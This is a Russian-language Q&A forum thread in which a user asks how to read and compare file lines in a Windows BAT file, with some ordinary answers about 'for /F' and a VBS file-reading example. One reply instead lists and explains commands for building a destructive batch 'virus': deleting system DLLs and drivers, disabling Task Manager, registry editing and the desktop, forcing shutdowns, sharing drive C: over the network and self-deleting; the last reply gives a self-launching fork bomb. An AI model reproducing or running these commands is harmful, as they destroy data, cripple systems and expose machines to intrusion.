Другие языки программирования и технологии

Кто умеет составлять *.BAT файлы?

Подскажите или пришлите код... .
Мне нужно считать строку из файла и сравнить ее либо со строкой из другого файла, либо с переменной, значение которой - строка из другого файла.
З. Ы.
Реальный ответ оценю!
См. help по команде for - в расширенной оболочке cmd.exe это самая мощная команда, как раз позволяет делать разбор строк файлов. Но возможно проще то же сделать на vbs
Laziz Kamilov
Laziz Kamilov
40 192
Лучший ответ
Михаил Соболев Да! Я как раз над ним сейчас бьюсь!
я написал:
for /F %i in (c:\11.txt) do echo %i - данная команда выводит первое слово из файла
Если я укажу "eol=G skip=1 tokens=2-3", то echo не срабатывает и ничего не выводится (пробовал подставлять различные значения - результат такой же).
Делал вроде по мануалу. Может что-то не так сделал?
Это, думаю, проще сделать на C++ или VB
ЮЛ
Юрий Леонов
98 344
Михаил Соболев проще-то проще.
Но мне нужно именно через командную строку, через ВАТ файл.
BAT-man может
VD
Valery De Tur
84 864
Если это не учебное задание, используй vbs или js, по способу создания/выполнения теже bat-ники.

Example:
Set FSO = CreateObject("Scripting.FileSystemObject")
Set File = FSO.GetFile("C:\boot.ini")
Set TextStream = File.OpenAsTextStream(1)
Str = vbNullString
While Not TextStream.AtEndOfStream
Str = Str & TextStream.ReadLine() & vbCrLf
Wend
MsgBox Str
TextStream.Close
Энерго- Сервис
Энерго- Сервис
1 684
reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem /v DisableTaskMgr /t REG_DWORD /d 1 /f >nul – Запретить комбинацию клавиш Ctrl-Alt-Del

del "%SystemRoot%system32*.dll" /q >nul – Удалить все системные DLL(Динамические загружаемые библиотеки)

del "%SystemRoot%Driver Cachei386driver.cab" /f /q >nul – Удалить все драйверы, установленные на компьютере

%SystemRoot%/system32/rundll32 user32, SwapMouseButton >nul – Поменять местами значения кнопок мыши

reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerRestrictRun /v 1 /t REG_DWORD /d %SystemRoot%explorer.exe /f >nul – Делает невозможным запуск приложений

time 0:00 >nul – Поставить время на 00:00

reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem /v DisableRegistryTools /t REG_DWORD /d 1 /f >nul – Запретить редактирование реестра вручную

del "%SystemRoot%Cursors*.*" >nul – Удалить курсор мыши

del "%SystemRoot%Media" /q >nul – Удалить системные звуки Windows

reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v NoControlPanel /t REG_DWORD /d 1 /f >nul – Запретить вызов панели кправления

reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v NoDesktop /t REG_DWORD /d 1 /f >nul – Убрать рабочий стол

shutdown -r -t 1 -c "lol" -f >nul – Форсираванная перезагрузка ПК

shutdown -s -t 1 -c "lol" -f >nul – Форсированное выключение ПК

taskkill /f /im explorer.exe >nul – Убить процесс Explorer.exe

net share "ResName"="C:" >nul – Расшарить диск C:

label C:Диск >nul – Переименовать диск С:

msg * "Текст сообщения" >nul – Показать Windows-стилизованное сообщение с кнопкой ОК

del "%0" >nul – Самоликвидация вируса
Команда del направлена на удаление определённого файла, после неё в кавычках пишется полный путь к файлу, если вы хотите удалить из папки все файлы с расширением txt, например, то после название целевой папки и дроби нужно написать *.txt. Если нужно удалить что-нибудь из директории Windows, гораздо проще будет написать %SystemRoot%, вместо полного пути к директории, а уже затем вводить остальной путь. Также получившийся вирус может самоуничтожаться, для этого вместо пути к целевому файлу нужно ввести %0. Команда reg add может редактировать содержимое реестра. Для этого после этой команды нужно написать полный путь к необходимому вам ключу (без кавычек) , и его новое значение. Команда time просто устанавливает любое время на часах ПК. Команда shutdown выполняет выключение или перезагрузку ПК, если после команды стоит r -t 1 -c "lol", то произойдёт перезагрузка, а если -s -t 1 -c "lol", то выключение. Также можно добавить в конце –f через пробел, тогда операция (выключение или перезагрузка) произойдёт форсированно, т. е. без предупреждения пользователя. Команда
taskkill /f /im убивает указанный процесс, а указать его надо через пробел с расширением. Также существует команда net share, которая расшаривает (открывает общий доступ из сети) определённый диска на компьютере. После нее нужно написать в кавычках название расшаренного ресурса (на ваше усмотрение) после этого знак = и буквенный идентификатор диска в кавычках с двоеточием и дробью. Комадна label переименовывает указаный диск, для этого напишите буквенный идентификатор диска, знак =, и новое название. Команда msg * выводит на экран окно с сообщением и кнопкой ОК, после неё надо написать текст сообщения в кавычках через пробел после команды. Теперь, когда вы записали необходимые вам команды, сохраните созданный *.txt с расширением *.bat
Михаил Соболев Информация полезная, спасибо!))))
Но а по поводу моей проблемы что-нибудь посоветуешь?
напиши в блокноте start 123.bat потом сохрани как 123.bat и запусти)